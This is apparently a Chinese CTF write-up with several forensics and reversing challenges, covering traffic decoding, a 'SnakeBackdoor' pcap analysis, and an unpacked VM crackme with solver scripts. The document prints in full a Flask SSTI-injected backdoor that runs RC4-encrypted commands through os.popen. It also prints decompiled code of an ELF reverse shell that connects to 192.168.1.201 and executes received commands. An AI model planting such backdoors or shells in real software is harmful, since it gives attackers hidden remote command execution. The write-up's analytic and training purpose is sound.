----------------------------------------b'(\xb5/\xfd\x04\x00y\x00\x00\x12\r\n\x0bls /var/opt\xdd\xe3,Q{k\xe3\xf6\xe8tI`\xdf\x0b\x1f\xca\xc41\x96\x03'---------------------------------------- Length: 54----------------------------------------b"(\xb5/\xfd\x04\x00i\x00\x00\x08\x01\x12\t\x12\x07secret\n\xe7W\x0f\x02\x12\xba\x88\x8ef'x\x9eW5\xc2?w\xe2\x9b\x04"---------------------------------------- Length: 63----------------------------------------b'(\xb5/\xfd\x04\x00\xb1\x00\x00\x12\x14\n\x12base32 /var/opt/s*/\xf2\xa9\xf1\xbc#qD\xbcnz\x9e\xfa\n\x9b\xa6\xf5>\xea\xc8'---------------------------------------- Length: 120----------------------------------------b'(\xb5/\xfd\x04\x00y\x02\x00\x08\x01\x12K\x12IMZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===\n\xa1o\xf2\x12\xf2LB\x0bg2\xfb\xa3\xfdQq\xe3\xd6\xb5=\xe5'----------------------------------------解码出
flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}SnakeBackdoor
图片都是wireshark或者cyberchef页面(
第一关
直接找最后一次login

第二关
,往下发现在打ssti
找到

第三关
继续往下翻

用cyberchef解

倒序,base64,zlib

多层

最后
global exc_classglobal codeimport os,binasciiexc_class, code = app._get_exc_class_and_code(404)RC4_SECRET = b'v1p3r_5tr1k3_k3y'def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res)def backdoor_handler(): if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779': return "Error" enc_hex_cmd = request.form.get('data') if not enc_hex_cmd: return "" try: enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore') output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error"app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()第四关
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
弄出来压缩包带密码,看看前面发送什么

密码弄到,交shell不对。。
怀疑改名

第五关
分析elf代码
__int64 __fastcall main(int a1, char **a2, char **a3){ int v3; // eax int v5; // [rsp+4h] [rbp-115Ch] BYREF unsigned int v6; // [rsp+8h] [rbp-1158h] BYREF unsigned int v7; // [rsp+Ch] [rbp-1154h] BYREF _DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF _BYTE v9[128]; // [rsp+20h] [rbp-1140h] BYREF _BYTE v10[128]; // [rsp+A0h] [rbp-10C0h] BYREF char command[4096]; // [rsp+120h] [rbp-1040h] BYREF struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF int v13; // [rsp+1134h] [rbp-2Ch] int v14; // [rsp+1138h] [rbp-28h] int v15; // [rsp+113Ch] [rbp-24h] FILE *stream; // [rsp+1140h] [rbp-20h] int v17; // [rsp+1148h] [rbp-18h] unsigned int seed; // [rsp+114Ch] [rbp-14h] int fd; // [rsp+1150h] [rbp-10h] int j; // [rsp+1154h] [rbp-Ch] int v21; // [rsp+1158h] [rbp-8h] int i; // [rsp+115Ch] [rbp-4h]
fd = socket(2, 1, 0); if ( fd < 0 ) exit(1); memset(&s, 48, sizeof(s)); s.sa_family = 2; *(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201"); *(_WORD *)s.sa_data = htons(0xE59Eu); if ( connect(fd, &s, 0x10u) < 0 ) { close(fd); exit(1); } if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4, 0) != 4 ) { close(fd); exit(1); } seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7); srand(seed); for ( i = 0; i <= 3; ++i ) v8[i] = rand(); sub_13B4(v10, v8, 0); sub_13B4(v9, v8, 1); while ( (unsigned int)sub_18ED((unsigned int)fd, &v6, 4, 0) == 4 ) { v6 = (v6 >> 8) & 0xFF00 | (v6 << 8) & 0xFF0000 | (v6 << 24) | HIBYTE(v6); if ( v6 <= 0x1000 && v6 && (v6 & 0xF) == 0 ) { v21 = sub_18ED((unsigned int)fd, command, v6, 0); if ( v21 != v6 ) break; sub_1860(v10, 0, command, command, v21); v17 = (unsigned __int8)command[v21 - 1]; if ( v17 && v17 <= 16 ) command[v21 - v17] = 0; else command[v21] = 0; stream = popen(command, "r"); if ( stream ) { v21 = fread(command, 1u, 0xFFFu, stream); pclose(stream); command[v21] = 0; } else { strcpy(command, "popen failed\n"); v21 = strlen(command); } v15 = v21; v14 = 16 * (v21 / 16 + 1); v13 = v14 - v21; for ( j = v21; j < v14; command[j++] = v13 ) ; sub_1860(v9, 1, command, command, v14); v5 = (v14 >> 8) & 0xFF00 | (v14 << 8) & 0xFF0000 | (v14 << 24) | (v14 >> 24); if ( (unsigned int)sub_197F((unsigned int)fd, &v5, 4, 0) != 4 ) break; v3 = sub_197F((unsigned int)fd, command, v14, 0); if ( v14 != v3 ) break; } } close(fd); return 0;}随机数种子来自流量前4字节
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4, 0) != 4 ) { close(fd); exit(1); } seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7); srand(seed);分析找到

根据代码逻辑生成key
import ctypesimport structimport binasciiSEED_INT = 882188358def get_key(seed): libc = ctypes.CDLL("libc.so.6") print(f"[*] 使用种子 (int): {seed}") libc.srand(seed) key_bytes = b"" for _ in range(4): r = libc.rand() key_bytes += struct.pack("<I", r) key_hex = binascii.hexlify(key_bytes).decode() print("-" * 30) print(f"[+] 密钥 (Hex): {key_hex}") print("-" * 30)
if __name__ == "__main__": get_key(SEED_INT)[*] 使用种子 (int): 882188358------------------------------[+] 密钥 (Hex): ac46fb610b313b4f32fc642d8834b456补档一下vvvmmm,赛后复现的
vvvmmm
upx脱壳
没看到main从start开始看
先运行
(base) ➜ ~ ./vvvmmm ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___|" \ /" ||" \ /" ||" \ /" ||" \ /" ||" \ /" ||" \ /" | \ \ // / \ \ // / \ \ // / \ \ // | \ \ // | \ \ // | \\ \/. ./ \\ \/. ./ \\ \/. ./ /\\ \/. | /\\ \/. | /\\ \/. | \. // \. // \. // |: \. ||: \. ||: \. | \\ / \\ / \\ / |. \ /: ||. \ /: ||. \ /: | \__/ \__/ \__/ |___|\__/|___||___|\__/|___||___|\__/|___|input %48c>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaTry again~搜字符串没搜到
// positive sp value has been detected, the output may be wrong!void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF _UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5; v5 = v3; sub_51F450((unsigned int)sub_401C60, v4, (unsigned int)&retaddr, 0, 0, a3, (__int64)&v5);}看sub_401C60感觉就不对劲
sub_408330(*v72, 0, byte_64C3F0, 662); sub_408850(*v72, 1879048192, 0x10000, 7); *(_QWORD *)v55 = 1879113472; sub_407DD0(*v72, 3, v55); sub_408850(*v72, 0x10000000, 4096, 7); sub_408850(*v72, 268439552, 4096, 7); v19 = *v72; v20 = j_ifunc_542170(v70); sub_408330(v19, 0x10000000, v70, v20); sub_408330(*v72, 268439552, &byte_64C6C0, 32); *(_QWORD *)v56 = 0x10000000; *(_QWORD *)v57 = 268439552; sub_407DD0(*v72, 11, v56); sub_407DD0(*v72, 12, v57); sub_4099D0(*v72, 0, 662, 2000000, 0);断点:下断点在 sub_4099D0 调用之前(此时解密已完成,但还没开始模拟)。
提取:找到存放指令的内存地址(即代码中作为参数传递进去的指针),将那 662 字节 的内容 Dump 出来,保存为 shellcode.bin。
662字节应该是byte_64C3F0的内容
ida用RISC-V打开dump出来的bin文件
c转代码
倒是没有很长
直接c,p,f5反编译开始是出错了
问ai
你的 blob 长度就是 0x296,而“下一条顺序地址”就是 0x296。但 blob 到这里就没字节了。
这在“JIT/VM 执行的 raw blob”里很常见:用“跑出代码区 / 非法指令 trap”作为退出机制,宿主(你这里很像 sub_4099D0 那个执行器)读寄存器 a0 作为返回值。
所以 IDA 标 noreturn + Hex-Rays 给 JUMPOUT(0x296),其实是合理的。
如果你只是想让 IDA 反编译“好看”一点,可以在数据库里补两字节 c.jr ra(82 80)或补 4 字节 ret(67 80 00 00),但那是为了分析,不代表原始 blob 一定这么退出。
所以直接在bin文件末尾补67 80 00 00了
bool __fastcall sub_0(__int64 a1, _BYTE *a2){ __int64 v2; // a2 unsigned __int8 *v3; // a1 unsigned __int64 v4; // a4 unsigned __int64 v5; // a2 __int64 *v6; // a1 _DWORD *v7; // a0 unsigned __int64 v8; // a2 unsigned __int64 v9; // a3 __int64 v10; // a4 __int64 v11; // a5 __int64 v12; // a4 __int64 v13; // a5 int v15; // [sp+4h] [-34h] _DWORD v16[12]; // [sp+8h] [-30h] BYREF __int64 vars0; // [sp+38h] [+0h] BYREF
v2 = (unsigned __int8)*a2; if ( *a2 ) { v3 = a2 + 1; v4 = 1; do { v4 = 32 * v4 - (v4 - v2); v2 = *v3++; } while ( v2 ); } else { v4 = 1; } v5 = v4 >> 16; v6 = (__int64 *)v16; v7 = (_DWORD *)(a1 + 4); do { v16[11] = 324508639; v8 = (unsigned int)v5 % 0x13579BDF; v9 = (unsigned int)v4 % 0x13579BDF; v10 = (unsigned int)v8 % 0x13579BDF; v11 = (unsigned int)v9 % 0x13579BDF; v8 <<= 32; v12 = (((unsigned __int64)(v10 << 32) * (unsigned __int128)v8) >> 64) % 0x13579BDF; v9 <<= 32; v13 = (((unsigned __int64)(v11 << 32) * (unsigned __int128)v9) >> 64) % 0x13579BDF; v8 >>= 32; v9 >>= 32; v5 = v12 * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF * v8 % 0x13579BDF; v4 = v13 * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF * v9 % 0x13579BDF; LODWORD(v13) = *v7 ^ v4; *((_DWORD *)v6 - 1) = *(v7 - 1) ^ v5; *(_DWORD *)v6++ = v13; v7 += 2; } while ( v6 != &vars0 ); return (v16[0] == 0x534762D2) + (v15 == 0x45034F63) + (v16[2] == 0x44C3ED6A) + (v16[1] == 0x44B36D04) + (v16[5] == 0x3EDB7E6C) + (v16[4] == 0x42A1E767) + (v16[3] == 0x79BB60B0) + (v16[7] == 0x4D3ABAA4) + (v16[6] == 0x30E1551D) + (v16[8] == 0x6AA29948) + (v16[9] == 0x51CE8847) + (v16[10] == 0x51623FAF) == 12;}这个32位的应该是key
sub_408330(*v72, 268439552, &byte_64C6C0, 32);然后前面有异或修改
动调拿就行
知道key和最后密文,那这个算法肯定是可以逆向的了
最终脚本
#!/usr/bin/env python3# -*- coding: utf-8 -*-
import structimport sys
MOD = 0x13579BDF
# 目标常量(sub_0 里最终比较的 12 个 32-bit 值)W = [ 0x45034F63, 0x534762D2, 0x44B36D04, 0x44C3ED6A, 0x79BB60B0, 0x42A1E767, 0x3EDB7E6C, 0x30E1551D, 0x4D3ABAA4, 0x6AA29948, 0x51CE8847, 0x51623FAF,]
DEFAULT_KEY = b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ"
def u64(x: int) -> int: return x & 0xFFFFFFFFFFFFFFFF
def hash64_like_sub0(key: bytes) -> int: """ 对应 sub_0 开头: v4=1 v4 = 31*v4 + b (uint64 溢出) """ h = 1 for b in key: h = u64(31 * h + b) return h
def prng_round(seed_hi: int, seed_lo: int): """ 对应 sub_0 每轮更新: x = (uint32)seed_lo % MOD y = (uint32)seed_hi % MOD seed_lo = x^13 mod MOD seed_hi = y^13 mod MOD 其中 seed_hi 对应 v4,seed_lo 对应 v5 """ x = (seed_lo & 0xFFFFFFFF) % MOD y = (seed_hi & 0xFFFFFFFF) % MOD new_lo = pow(x, 13, MOD) new_hi = pow(y, 13, MOD) return new_hi, new_lo # (v4, v5) 的新值
def recover_input(key: bytes) -> bytes: h = hash64_like_sub0(key) v4 = h v5 = h >> 16
in_words = [] for k in range(6): v4, v5 = prng_round(v4, v5) # 更新后 v5/v4 就是本轮 mask mask_even = v5 & 0xFFFFFFFF # 给偶数 word(in[2k]) mask_odd = v4 & 0xFFFFFFFF # 给奇数 word(in[2k+1])
in_even = (W[2*k] ^ mask_even) & 0xFFFFFFFF in_odd = (W[2*k+1] ^ mask_odd ) & 0xFFFFFFFF
in_words.append(in_even) in_words.append(in_odd)
payload = b"".join(struct.pack("<I", w) for w in in_words) return payload
def verify_like_sub0(key: bytes, payload: bytes) -> bool: if len(payload) != 48: return False in_words = list(struct.unpack("<12I", payload))
h = hash64_like_sub0(key) v4 = h v5 = h >> 16
out = [] for k in range(6): v4, v5 = prng_round(v4, v5) mask_even = v5 & 0xFFFFFFFF mask_odd = v4 & 0xFFFFFFFF out_even = (in_words[2*k] ^ mask_even) & 0xFFFFFFFF out_odd = (in_words[2*k+1] ^ mask_odd ) & 0xFFFFFFFF out.append(out_even) out.append(out_odd)
return out == W
def main(): key = DEFAULT_KEY if len(sys.argv) >= 2: key = sys.argv[1].encode()
payload = recover_input(key)
# 确认是否全 ASCII try: s = payload.decode("ascii") except UnicodeDecodeError: # 不应该发生;发生就打印 hex 方便你排查 print("[!] payload not ascii, hex =", payload.hex()) return
ok = verify_like_sub0(key, payload) print("key =", key.decode("ascii", errors="replace")) print("input =", s) print("verify=", ok) print("flag{"+s+"}")
if __name__ == "__main__": main()